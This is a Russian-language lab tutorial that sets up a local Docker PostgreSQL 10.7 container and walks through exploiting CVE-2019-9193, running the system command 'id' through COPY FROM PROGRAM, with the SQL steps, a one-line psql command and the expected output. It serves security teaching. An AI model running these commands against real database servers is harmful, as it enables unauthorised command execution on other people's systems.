
Лаборатория на основе Docker, демонстрирующая CVE-2019-9193 — произвольное выполнение команд PostgreSQL через COPY FROM PROGRAM, с пошаговым PoC для тестирования безопасности и обучения.
PostgreSQL — это мощная система управления реляционными базами данных с открытым исходным кодом. Уязвимость в версиях с 9.3 по 11 позволяет администраторам или пользователям с привилегиями COPY TO/FROM PROGRAM выполнять произвольные команды в системе.
docker-compose.ymlСоздайте файл docker-compose.yml со следующим содержимым:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
Запустите контейнер следующей командой:
docker compose up -d
Проверьте, что контейнер работает:
docker ps
Вывод должен показывать контейнер PostgreSQL, ожидающий подключения на порту 5432.
Если у вас не установлен клиент psql, вы можете установить его с помощью:
apt-get install postgresql-client
Подключитесь к базе данных напрямую из Kali:
psql -h localhost -p 5432 -U postgres
Вам будет предложено ввести пароль, введите:
postgres
После подключения к консоли PostgreSQL выполните следующие команды для использования уязвимости:
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Visualizza l'output del comando
SELECT * FROM cmd_exec;
Вы можете выполнить всё напрямую из командной строки:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
Если эксплойт успешен, вы должны увидеть вывод, похожий на:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
Нажмите \q для выхода:
\q
Эта уязвимость позволяет выполнять произвольные команды с административными привилегиями. Используйте её только в контролируемых средах и в целях обучения или проверки. Использование этой уязвимости на несанкционированных системах незаконно.